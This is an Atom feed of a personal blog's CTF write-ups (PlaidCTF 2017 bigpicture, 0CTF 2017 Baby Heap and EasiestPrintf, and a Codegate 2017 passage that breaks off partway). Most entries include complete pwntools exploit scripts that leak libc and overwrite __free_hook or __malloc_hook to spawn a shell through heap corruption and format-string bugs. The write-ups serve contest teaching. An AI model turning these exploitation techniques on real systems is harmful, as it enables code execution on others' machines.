<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Isaac&#39;s Blog</title>
  <subtitle>The force is with those who read the source.</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="https://poning.me/"/>
  <updated>2017-04-28T14:44:52.000Z</updated>
  <id>https://poning.me/</id>
  
  <author>
    <name>Isaac Tseng</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>PlaidCTF 2017: bigpicture (pwn 200)</title>
    <link href="https://poning.me/2017/04/28/bigpicture/"/>
    <id>https://poning.me/2017/04/28/bigpicture/</id>
    <published>2017-04-28T14:44:52.000Z</published>
    <updated>2017-04-28T14:44:52.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>Size matters!<br>Running at bigpicture.chal.pwning.xxx:420<br><a href="/2017/04/28/bigpicture/bigpicture_0b8eed37d9a4e5073456306e6eb0672c.tgz" title="Download">Download</a></p>
</blockquote>
<h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL;DR"></a>TL;DR</h2><ul>
<li>Request a large buffer which will be allocated at somewhere after the libc pages.</li>
<li>The offset between the buffer and the libc is fixed.</li>
<li>Use negative indexes to leak the base address of the libc.</li>
<li>Set <code>__free_hook</code> to <code>system</code>.</li>
<li>Set the content of the buffer to <code>/bin/sh</code>.</li>
<li><code>free(buffer)</code> becomes <code>system(&quot;/bin/sh&quot;)</code>.</li>
</ul>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>This challenge comes with a source code <a href="/2017/04/28/bigpicture/bigpicture.c" title="bigpicture.c">bigpicture.c</a>. What it does is, first, allocating a 2D array with the height and the width we choose. Then, we can set the content of any element of the array. If an element has already been set, it will print out its value. Finally, it will draw the 2D array on the exit.</p>
<p>The vulnerability is that the index of the element to be set can be negative.</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br></pre></td><td class="code"><pre><span class="hljs-keyword">if</span>(x &gt;= width || y &gt;= height) &#123;<br>    <span class="hljs-built_in">puts</span>(<span class="hljs-string">"out of bounds!"</span>);<br>    <span class="hljs-keyword">return</span>;<br>&#125;<br></pre></td></tr></table></figure>
<p>Therefore, we can leak or set the content before the buffer, which is usually in the heap. Next, here comes the essential part of the challenge. If the buffer located in the heap, the only memory pages we can access belong to the main program. Because of the full RELRO protection of this binary, we cannot hijack the control flow through overriding a GOT entry. Even worst, we don’t know the exact offset between the buffer and the main program. However, if we request a large enough buffer (about 128kb), it will be allocated by <code>mmap</code>. This buffer will be placed after the <code>libc.so.6</code>, and the offset between these two memory pages is fixed. So, we can leak the libc address and override the <code>__free_hook</code> to divert the control flow. Now we know why the description said “Size matters!”</p>
<p>My exploit script is as follows.</p>
<figure class="highlight python"><figcaption><span>bigpicture_exp.py</span><a href="/2017/04/28/bigpicture/bigpicture_exp.py">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br>18<br>19<br>20<br>21<br>22<br>23<br>24<br>25<br>26<br>27<br>28<br>29<br>30<br>31<br>32<br>33<br>34<br>35<br>36<br>37<br>38<br>39<br>40<br>41<br>42<br>43<br>44<br>45<br>46<br>47<br>48<br>49<br>50<br>51<br>52<br>53<br>54<br>55<br>56<br></pre></td><td class="code"><pre><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><span class="hljs-keyword">from</span> time <span class="hljs-keyword">import</span> sleep<br><br>context.terminal = [<span class="hljs-string">'tmux'</span>, <span class="hljs-string">'splitw'</span>, <span class="hljs-string">'-h'</span>]<br><br><span class="hljs-comment"># remote</span><br>got_offset = <span class="hljs-number">0x12afa8</span><br>free_hook_offset = <span class="hljs-number">0x128868</span><br><br><span class="hljs-comment"># local</span><br>got_offset = <span class="hljs-number">0x130fa8</span><br>free_hook_offset = <span class="hljs-number">0x12e868</span><br><br>libc_offset = <span class="hljs-number">0x1f876</span><br><br>libc = ELF(<span class="hljs-string">'./libc-2.23.so'</span>)<br><br><span class="hljs-comment"># r = process('./bigpicture', env={'LD_PRELOAD': './libc-2.23.so'})</span><br><span class="hljs-comment"># gdb.attach(r, '''</span><br><span class="hljs-comment"># c</span><br><span class="hljs-comment"># ''')</span><br>r = remote(<span class="hljs-string">'bigpicture.chal.pwning.xxx'</span>, <span class="hljs-number">420</span>)<br><br><span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'How big? '</span>)<br>r.sendline(<span class="hljs-string">'1000 x 1000'</span>)<br><br><span class="hljs-comment"># leak libc address</span><br><span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'&gt; '</span>)<br>address_in_libc = <span class="hljs-string">''</span><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">6</span>):<br>    r.sendline(<span class="hljs-string">'0 , -'</span> + str(got_offset - i) + <span class="hljs-string">' , A'</span>)<br>    data = r.recvuntil(<span class="hljs-string">'&gt; '</span>)<br>    <span class="hljs-keyword">print</span> data<br>    address_in_libc += data[<span class="hljs-number">12</span>]<br><br>address_in_libc += <span class="hljs-string">'\x00\x00'</span><br>address_in_libc = u64(address_in_libc)<br>log.critical(<span class="hljs-string">'address in libc: '</span> + hex(address_in_libc))<br>libc.address = address_in_libc - libc_offset<br>log.critical(<span class="hljs-string">'libc base address: '</span> + hex(libc.address))<br>log.critical(<span class="hljs-string">'system address: '</span> + hex(libc.symbols[<span class="hljs-string">'system'</span>]))<br><br><span class="hljs-comment"># override __free_hook to system</span><br><span class="hljs-keyword">for</span> i, byte <span class="hljs-keyword">in</span> enumerate(p64(libc.symbols[<span class="hljs-string">'system'</span>])[:<span class="hljs-number">6</span>]):<br>    r.sendline(<span class="hljs-string">'0 , -'</span> + str(free_hook_offset - i) + <span class="hljs-string">' , '</span> + byte)<br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'&gt; '</span>)<br><br><span class="hljs-comment"># write "/bin/sh" to the buffer to be freed</span><br><span class="hljs-keyword">for</span> i, byte <span class="hljs-keyword">in</span> enumerate(<span class="hljs-string">'/bin/sh'</span>):<br>    r.sendline(<span class="hljs-string">'0 , '</span> + str(i) + <span class="hljs-string">' , '</span> + byte)<br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'&gt; '</span>)<br><br><span class="hljs-comment"># trigger free</span><br>r.sendline(<span class="hljs-string">'quit'</span>)<br><br>r.interactive()<br></pre></td></tr></table></figure>
<p>I leak an address in the GOT section of the libc to calculate the base address of the libc. Then, I override <code>__free_hook</code> to <code>system</code> and the content of the buffer to <code>/bin/sh</code>. Now freeing the buffer at the end of the program becomes <code>system(&quot;/bin/sh&quot;)</code>. By the way, the offsets between the buffer and the libc of the remote machine were calculated by leaking some memory content and comparing then with the local one.</p>
<blockquote>
<p>Flag: <code>PCTF{draw_me_like_one_of_your_pwn200s}</code></p>
</blockquote>
<h2 id="Note"><a href="#Note" class="headerlink" title="Note"></a>Note</h2><ul>
<li><strong>What I’ve learned:</strong><br>I know that the offsets between shared libraries are fixed. Through this challenge, I further confirm that the offsets between <code>mmap</code>ed pages are also fixed.</li>
<li>Some references of ASLR:<ul>
<li><a href="https://www.blackhat.com/docs/asia-16/materials/asia-16-Marco-Gisbert-Exploiting-Linux-And-PaX-ASLRS-Weaknesses-On-32-And-64-Bit-Systems-wp.pdf" target="_blank" rel="external">Exploiting Linux and PaX ASLR’s weaknesses on 32- and 64-bit systems</a></li>
<li><a href="https://cybersecurity.upv.es/attacks/offset2lib/offset2lib-paper.pdf" target="_blank" rel="external">On the Eﬀectiveness of Full-ASLR on 64-bit Linux</a></li>
</ul>
</li>
</ul>
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;Size matters!&lt;br&gt;Runn
    
    </summary>
    
      <category term="writeup" scheme="https://poning.me/categories/writeup/"/>
    
    
      <category term="pwn" scheme="https://poning.me/tags/pwn/"/>
    
      <category term="libc hook" scheme="https://poning.me/tags/libc-hook/"/>
    
      <category term="ASLR" scheme="https://poning.me/tags/ASLR/"/>
    
  </entry>
  
  <entry>
    <title>0CTF 2017 Quals: Baby Heap 2017 (pwn 255)</title>
    <link href="https://poning.me/2017/03/24/baby-heap-2017/"/>
    <id>https://poning.me/2017/03/24/baby-heap-2017/</id>
    <published>2017-03-24T06:21:41.000Z</published>
    <updated>2017-03-24T06:21:41.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>Let’s practice some basic <a href="/2017/03/24/baby-heap-2017/babyheap_69a42acd160ab67a68047ca3f9c390b9" title="heap">heap</a> techniques in 2017 together!<br>202.120.7.218:2017<br><a href="/2017/03/24/baby-heap-2017/libc.so.6_b86ec517ee44b2d6c03096e0518c72a1" title="libc.so.6">libc.so.6</a></p>
</blockquote>
<h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL;DR"></a>TL;DR</h2><ul>
<li>Overlapping two chunks to leak the address of the libc.</li>
<li>Use fastbin corruption to override the value of <code>__malloc_hook</code> to one-gadget.</li>
</ul>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><figure class="highlight plain"><table><tr><td class="code"><pre>===== Baby Heap in 2017 =====<br>1. Allocate<br>2. Fill<br>3. Free<br>4. Dump<br>5. Exit<br>Command:<br></pre></td></tr></table></figure>
<p>This is a classical pwn challenge of heap with four kinds of operations: <code>malloc</code>, <code>free</code>, read, write. The only difference is that it use <code>calloc</code>, which initialzes the memory to zero, instead of the usual <code>malloc</code>. The challenge further increases its difficulty in two ways. First, it enables PIE and put the array of the <code>malloc</code> pointers in a random <code>mmap</code> area. Therefore, we do not know the address to launch the “unsafe unlink” attack. Second, it also enables RELRO so that we cannot change the value of GOT table to hijack the control flow. In contrast, the vulnerability is evident. We can fill the arbitrary length of input to the heap and overflow anything after that.</p>
<p>To solve this challenge, I first leak the address of the libc by overlapping two chunks as follows (also a common attack).</p>
<img src="/2017/03/24/baby-heap-2017/baby_heap_2017.png" alt="baby_heap_2017.png" title="">
<p>Then, I override the <code>fd</code> pointer of a freed fastbin chunk to somewhere before <code>__malloc_hook</code> which has a valid “chunk size.” Finally, after two <code>malloc</code> of the proper size, I get a chunk which allows me to change the <code>__malloc_hook</code> to one-gadget.</p>
<p>Note that the checking of the chunk size of the fastbin in <code>malloc.c</code> is not strict. It only checks whether the size divided by 16 (64bit) equals to the same index. There is no requirement of alignment, and it views the size as a 4-byte integer. Therefore, in this challenge, I took <code>0x7f</code> as the chunk size of a <code>0x70</code> fastbin chunk.</p>
<figure class="highlight c"><figcaption><span>malloc.c</span></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br></pre></td><td class="code"><pre><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> fastbin_index(sz) \<br>  ((((unsigned int) (sz)) &gt;&gt; (SIZE_SZ == 8 ? 4 : 3)) - 2)</span><br>...<br><span class="hljs-keyword">if</span> (<span class="hljs-number">__b</span>uiltin_expect (fastbin_index (chunksize (victim)) != idx, <span class="hljs-number">0</span>))<br>  &#123;<br>    errstr = <span class="hljs-string">"malloc(): memory corruption (fast)"</span>;<br></pre></td></tr></table></figure>
<p>The full script is as follows.<br><figure class="highlight python"><figcaption><span>babyheap_exp.py</span><a href="/2017/03/24/baby-heap-2017/babyheap_exp.py">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br>18<br>19<br>20<br>21<br>22<br>23<br>24<br>25<br>26<br>27<br>28<br>29<br>30<br>31<br>32<br>33<br>34<br>35<br>36<br>37<br>38<br>39<br>40<br>41<br>42<br>43<br>44<br>45<br>46<br>47<br>48<br>49<br>50<br>51<br>52<br>53<br>54<br>55<br>56<br>57<br>58<br>59<br>60<br>61<br>62<br>63<br>64<br>65<br>66<br>67<br>68<br>69<br>70<br>71<br>72<br>73<br>74<br>75<br>76<br>77<br>78<br>79<br>80<br>81<br>82<br>83<br>84<br>85<br></pre></td><td class="code"><pre><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><br>context.terminal = [<span class="hljs-string">'tmux'</span>, <span class="hljs-string">'splitw'</span>, <span class="hljs-string">'-h'</span>]<br>context.arch = <span class="hljs-string">'x86_64'</span><br><br>libc = ELF(<span class="hljs-string">'./libc.so.6_b86ec517ee44b2d6c03096e0518c72a1'</span>)<br>libc.symbols[<span class="hljs-string">'one_gadget'</span>] = <span class="hljs-number">0x41374</span><br>bin_offset = <span class="hljs-number">0x3a5678</span><br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">allocate</span><span class="hljs-params">(size)</span>:</span><br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'Command: '</span>)<br>    r.sendline(<span class="hljs-string">'1'</span>)<br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'Size: '</span>)<br>    r.sendline(str(size))<br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">fill</span><span class="hljs-params">(index, content)</span>:</span><br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'Command: '</span>)<br>    r.sendline(<span class="hljs-string">'2'</span>)<br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'Index: '</span>)<br>    r.sendline(str(index))<br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'Size: '</span>)<br>    r.sendline(str(len(content)))<br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'Content: '</span>)<br>    r.send(content)<br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">free</span><span class="hljs-params">(index)</span>:</span><br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'Command: '</span>)<br>    r.sendline(<span class="hljs-string">'3'</span>)<br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'Index: '</span>)<br>    r.sendline(str(index))<br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">dump</span><span class="hljs-params">(index)</span>:</span><br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'Command: '</span>)<br>    r.sendline(<span class="hljs-string">'4'</span>)<br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'Index: '</span>)<br>    r.sendline(str(index))<br>    <span class="hljs-keyword">print</span> r.recvuntil(<span class="hljs-string">'Content: \n'</span>)<br>    data = r.recvline()<br>    <span class="hljs-keyword">print</span> data<br>    <span class="hljs-keyword">return</span> data<br><br><br><span class="hljs-comment"># r = process(</span><br>    <span class="hljs-comment"># './babyheap_69a42acd160ab67a68047ca3f9c390b9',</span><br>    <span class="hljs-comment"># env={ 'LD_PRELOAD': './libc.so.6_b86ec517ee44b2d6c03096e0518c72a1' }</span><br><span class="hljs-comment"># )</span><br><span class="hljs-comment"># gdb.attach(r, '''</span><br><span class="hljs-comment"># c</span><br><span class="hljs-comment"># ''')</span><br>r = remote(<span class="hljs-string">'202.120.7.218'</span>, <span class="hljs-number">2017</span>)<br><br><span class="hljs-comment"># create overlapping chunks by shrinking a free chunk's size</span><br>allocate(<span class="hljs-number">16</span>) <span class="hljs-comment">#0</span><br>allocate(<span class="hljs-number">480</span>) <span class="hljs-comment">#1</span><br>allocate(<span class="hljs-number">512</span>) <span class="hljs-comment">#2</span><br>allocate(<span class="hljs-number">512</span>) <span class="hljs-comment">#3</span><br>free(<span class="hljs-number">1</span>)<br>fill(<span class="hljs-number">0</span>, flat(<span class="hljs-string">'A'</span>*<span class="hljs-number">24</span>, <span class="hljs-string">'\x30'</span>)) <span class="hljs-comment"># shrink the chunk</span><br>allocate(<span class="hljs-number">128</span>) <span class="hljs-comment">#1</span><br>allocate(<span class="hljs-number">96</span>) <span class="hljs-comment">#4</span><br>free(<span class="hljs-number">1</span>)<br>free(<span class="hljs-number">2</span>)<br><br><span class="hljs-comment"># overlap the header of the remainder chunk with the forgetten chunk to</span><br><span class="hljs-comment"># leak the address of libc</span><br>allocate(<span class="hljs-number">128</span>) <span class="hljs-comment">#1</span><br>data = dump(<span class="hljs-number">4</span>)<br>bin_address = u64(data[:<span class="hljs-number">8</span>])<br>log.critical(hex(bin_address))<br>libc.address = bin_address - bin_offset<br>log.critical(hex(libc.address))<br><br><span class="hljs-comment"># fastbin corruption</span><br><span class="hljs-comment"># get a chunk just before __malloc_hook in the second allocation</span><br>fill(<span class="hljs-number">1</span>, flat(<span class="hljs-string">'B'</span>*<span class="hljs-number">0x80</span>, <span class="hljs-number">0x90</span>, <span class="hljs-number">0x70</span>)) <span class="hljs-comment"># fix chunk meta data</span><br>free(<span class="hljs-number">4</span>)<br>fill(<span class="hljs-number">1</span>, flat(<span class="hljs-string">'B'</span>*<span class="hljs-number">0x80</span>, <span class="hljs-number">0x90</span>, <span class="hljs-number">0x70</span>, libc.symbols[<span class="hljs-string">'__malloc_hook'</span>]<span class="hljs-number">-0x23</span>)) <span class="hljs-comment"># override fd</span><br>allocate(<span class="hljs-number">96</span>) <span class="hljs-comment">#2</span><br>allocate(<span class="hljs-number">96</span>) <span class="hljs-comment">#4</span><br>fill(<span class="hljs-number">4</span>, flat(<span class="hljs-string">'\x00'</span>*<span class="hljs-number">19</span>, libc.symbols[<span class="hljs-string">'one_gadget'</span>]))<br><br><span class="hljs-comment"># trigger __malloc_hook</span><br>allocate(<span class="hljs-number">96</span>)<br><br>r.interactive()<br></pre></td></tr></table></figure></p>
<blockquote>
<p>Flag: <code>flag{you_are_now_a_qualified_heap_beginner_in_2017}</code></p>
</blockquote>
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;Let’s practice some b
    
    </summary>
    
      <category term="writeup" scheme="https://poning.me/categories/writeup/"/>
    
    
      <category term="pwn" scheme="https://poning.me/tags/pwn/"/>
    
      <category term="heap" scheme="https://poning.me/tags/heap/"/>
    
      <category term="overlapping chunks" scheme="https://poning.me/tags/overlapping-chunks/"/>
    
      <category term="fastbin corruption" scheme="https://poning.me/tags/fastbin-corruption/"/>
    
  </entry>
  
  <entry>
    <title>0CTF 2017 Quals: EasiestPrintf (pwn 150)</title>
    <link href="https://poning.me/2017/03/23/EasiestPrintf/"/>
    <id>https://poning.me/2017/03/23/EasiestPrintf/</id>
    <published>2017-03-22T18:12:03.000Z</published>
    <updated>2017-03-23T04:24:16.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>Warm UP! A traditional Format String Attack.<br>It’s running on Debian 8.<br>nc 202.120.7.210 12321<br><a href="/2017/03/23/EasiestPrintf/EasiestPrintf" title="EasiestPrintf">EasiestPrintf</a><br><a href="/2017/03/23/EasiestPrintf/libc.so.6_0ed9bad239c74870ed2db31c735132ce" title="libc.so.6">libc.so.6</a></p>
</blockquote>
<h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL;DR"></a>TL;DR</h2><ul>
<li>Leak the libc address from the free arbitrary read.</li>
<li>Use format string to modify <code>__free_hook</code> to the one-gadget and trigger it by a format placeholder with large width field.</li>
</ul>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>This is a simple binary. After some setup, it first gives us an arbitrary read and then a 159-byte format string vulnerability. The problem is that this is a Full RELRO binary, so we can not change the GOT value to hijack the control flow. Moreover, because the <code>printf</code> is immediately followed by an <code>_exit</code>, we have to exploit in a single format string.</p>
<p>Several ideas come to my mind.</p>
<ol>
<li>Because it is a 32-bit binary, maybe we can brute force the return address of <code>printf</code>.</li>
<li>Exploit the <code>exit</code> function, maybe something like <code>atexit</code> function pointer is exploitable.</li>
<li>Change the value of <code>__malloc_hook</code> or <code>__free_hook</code> and find a way to trigger them in <code>printf</code>.</li>
</ol>
<p>For the first idea, the search space is large, and both the manual randomization of stack through <code>alloca</code> and <code>sleep(3)</code> at the beginning of the binary discourage this solution.</p>
<p>For the second idea, <code>atexit</code> function pointers are encrypted, and this binary use <code>_exit</code> instead of <code>exit</code>, which won’t trigger <code>atexit</code> functions anyway.</p>
<p>Finally, the third idea works out. By searching <code>malloc</code> in <code>vfprintf.c</code>, it seems that we can trigger <code>malloc</code> and the following <code>free</code> if the width field of the format placeholder is large enough.</p>
<figure class="highlight c"><figcaption><span>vfprintf.c</span></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br></pre></td><td class="code"><pre><span class="hljs-keyword">if</span> (width &gt;= WORK_BUFFER_SIZE - <span class="hljs-number">32</span>)<br>  &#123;<br>    <span class="hljs-keyword">size_t</span> needed = ((<span class="hljs-keyword">size_t</span>) width + <span class="hljs-number">32</span>) * <span class="hljs-keyword">sizeof</span> (CHAR_T);<br>    ...<br>    workstart = (CHAR_T *) <span class="hljs-built_in">malloc</span> (needed);<br></pre></td></tr></table></figure>
<p>Although it took me quite a while to come up with the solution, the final exploitation is short and straightforward.</p>
<ol>
<li>Leak the libc address from the arbitrary read.</li>
<li>Construct a format string with<ol>
<li>the <code>%hhn</code> trick to modify <code>__free_hook</code> to the one-gadget.</li>
<li><code>%100000c</code> to trigger <code>malloc</code> and <code>free</code>.</li>
</ol>
</li>
</ol>
<p>I choose <code>__free_hook</code> instead of <code>__malloc_hook</code> because the address of <code>__malloc_hook</code> contains a <code>\x0a</code> byte which will break the reading of the input.</p>
<p>The full script is as follows.<br><figure class="highlight python"><figcaption><span>EasiestPrintf_exp.py</span><a href="/2017/03/23/EasiestPrintf/EasiestPrintf_exp.py">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br>18<br>19<br>20<br>21<br>22<br>23<br>24<br>25<br>26<br>27<br>28<br>29<br>30<br>31<br>32<br>33<br>34<br>35<br>36<br>37<br>38<br>39<br>40<br>41<br>42<br>43<br>44<br></pre></td><td class="code"><pre><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><br>context.terminal = [<span class="hljs-string">'tmux'</span>, <span class="hljs-string">'splitw'</span>, <span class="hljs-string">'-h'</span>]<br>context.log_level = <span class="hljs-string">'critical'</span><br><br>libc = ELF(<span class="hljs-string">'./libc.so.6_0ed9bad239c74870ed2db31c735132ce'</span>)<br>binary = ELF(<span class="hljs-string">'./EasiestPrintf'</span>)<br>read_got = binary.symbols[<span class="hljs-string">'_GLOBAL_OFFSET_TABLE_'</span>] + <span class="hljs-number">12</span><br>libc.symbols[<span class="hljs-string">'one_gadget'</span>] = <span class="hljs-number">0x3E297</span><br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">exec_fmt</span><span class="hljs-params">(payload)</span>:</span><br>    p = binary.process(env={ <span class="hljs-string">'LD_PRELOAD'</span>: libc.path })<br>    p.sendline(str(read_got))<br>    p.recvuntil(<span class="hljs-string">'Good Bye\n'</span>)<br>    p.sendline(payload)<br>    <span class="hljs-keyword">return</span> p.recvall()<br><br>fmt = FmtStr(exec_fmt)<br>log.critical(<span class="hljs-string">'offset: '</span> + str(fmt.offset))<br><br><br><span class="hljs-comment"># r = binary.process(env={ 'LD_PRELOAD': libc.path })</span><br><span class="hljs-comment"># gdb.attach(r, '''</span><br><span class="hljs-comment"># c</span><br><span class="hljs-comment"># ''')</span><br>r = remote(<span class="hljs-string">'202.120.7.210'</span>, <span class="hljs-number">12321</span>)<br><br><span class="hljs-keyword">print</span> r.recvline()<br><br><span class="hljs-comment"># Leak the libc base address.</span><br>r.sendline(str(read_got))<br>data = r.recvline()<br><span class="hljs-keyword">print</span> data<br>read_addr = int(data, <span class="hljs-number">16</span>)<br>libc.address = read_addr - libc.symbols[<span class="hljs-string">'read'</span>]<br>log.critical(<span class="hljs-string">'libc_base: '</span> + hex(libc.address))<br>log.critical(<span class="hljs-string">'__free_hook: '</span> + hex(libc.symbols[<span class="hljs-string">'__free_hook'</span>]))<br>log.critical(<span class="hljs-string">'one gadget: '</span> + hex(libc.symbols[<span class="hljs-string">'one_gadget'</span>]))<br><br><span class="hljs-comment"># Use format string to override the value of __free_hook to one gadget and</span><br><span class="hljs-comment"># trigger free by a long width format string.</span><br><span class="hljs-keyword">print</span> r.recvline()<br>r.sendline(fmtstr_payload(fmt.offset, { libc.symbols[<span class="hljs-string">'__free_hook'</span>]: libc.symbols[<span class="hljs-string">'one_gadget'</span>] }) + <span class="hljs-string">'%100000c'</span>)<br>r.interactive()<br></pre></td></tr></table></figure></p>
<blockquote>
<p>Flag: <code>flag{Dr4m471c_pr1N7f_45_y0u_Kn0w}</code></p>
</blockquote>
<h2 id="Note"><a href="#Note" class="headerlink" title="Note"></a>Note</h2><ul>
<li><strong>What I’ve learned:</strong><ul>
<li>Both <code>printf</code> and <code>scanf</code> can trigger <code>malloc</code> and <code>free</code>.</li>
</ul>
</li>
<li>There are couples of solutions for this challenge. See <a href="https://www.youtube.com/watch?v=kEqOvWmzu6Y" target="_blank" rel="external">this video</a> for more details.</li>
</ul>
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;Warm UP! A traditiona
    
    </summary>
    
      <category term="writeup" scheme="https://poning.me/categories/writeup/"/>
    
    
      <category term="pwn" scheme="https://poning.me/tags/pwn/"/>
    
      <category term="format string" scheme="https://poning.me/tags/format-string/"/>
    
      <category term="libc hook" scheme="https://poning.me/tags/libc-hook/"/>
    
      <category term="printf" scheme="https://poning.me/tags/printf/"/>
    
  </entry>
  
  <entry>
    <title>Codegate prequals 2017: meow (pwn 365)</title>
    <link href="https://poning.me/2017/02/20/meow/"/>
    <id>https://poning.me/2017/02/20/meow/</id>
    <published>2017-02-20T15:35:57.000Z</published>
    <updated>2017-03-11T06:02:36.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Description"><a href="#Description" class="headerlink" title="Description"></a>Description</h2><blockquote>
<p>Meow~Meow~<br><a href="/2017/02/20/meow/meow" title="http://ctf.codegate.org/z/meow">http://ctf.codegate.org/z/meow</a><br>nc 110.10.212.139 50410</p>
</blockquote>
<h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL;DR"></a>TL;DR</h2><ul>
<li>Observe how user’s input is used to “decrypt” the hard coded data</li>
<li>Guess that the “decrypted” data should start with <code>push rbp; mov rbp, rsp;</code> and end with <code>leave; ret;</code></li>
<li>Brute force md5 with the constraints found above</li>
<li>Use the ROP gadgets that author deliberately provide to launch a shell</li>
</ul>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><figure class="highlight c"><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br></pre></td><td class="code"><pre>*(<span class="hljs-number">_</span>QWORD *)s2 = <span class="hljs-number">0x618F652224A9469F</span>LL;<br>*(<span class="hljs-number">_</span>QWORD *)&amp;s2[<span class="hljs-number">8</span>] = <span class="hljs-number">1493362804178947496L</span>L;<br>MD5_Init(&amp;v2);<br>MD5_Update(&amp;v2, input, <span class="hljs-number">10L</span>L);<br>MD5_Final(&amp;s1, &amp;v2);<br><span class="hljs-keyword">return</span> <span class="hljs-built_in">strncmp</span>(&amp;s1, s2, <span class="hljs-number">0x10</span>uLL) != <span class="hljs-number">0</span>;<br></pre></td></tr></table></figure>
<p>At the very beginning of the binary, it asks us to input a 10 bytes string of which md5 is equal to <code>9f46a92422658f61a80ddee78e7db914</code>… I tried searching this md5 on some online database but got no answer. Since it is also impossible to brute force an 80 bits input, I was totally stuck at this stage.</p>
<img src="/2017/02/20/meow/no_way.gif" alt="no_way.gif" title="">
<p>When I was going to give up, one of my teammates reminded me that the input is also being used in the latter part of the program. Maybe we could find other constraints to reduce the search space of the input. It turned out to be the right direction, so let’s see what the remaining program does.</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br></pre></td><td class="code"><pre>sub_D1D((<span class="hljs-number">__</span>int64)&amp;v12, (<span class="hljs-number">__</span>int64)&amp;input, v15);<br>sub_D1D((<span class="hljs-number">__</span>int64)&amp;v5, (<span class="hljs-number">__</span>int64)&amp;input, v14);<br>sub_1467((<span class="hljs-keyword">void</span> **)&amp;qword_2020B8, v17, v15, &amp;v12);<br>sub_1467((<span class="hljs-keyword">void</span> **)&amp;unk_2020C0, v16, v14, &amp;v5);<br>sub_C45();<br></pre></td></tr></table></figure>
<p>Roughly speaking, there are two segments of data. They are both operated with some sort of “decryption” in <code>sub_D1D</code> with our input as the key and then copied to a mmaped memory with the execute permission in <code>sub_1467</code>. Finally, in <code>sub_C45</code>, we can choose option 3 to jump to the first segment of the decrypted data and execute them as instructions.</p>
<p>Now, we know that at least the first segment of data should be decrypted to legal x86 instructions. Let’s see what <code>sub_D1D</code> actually does.</p>
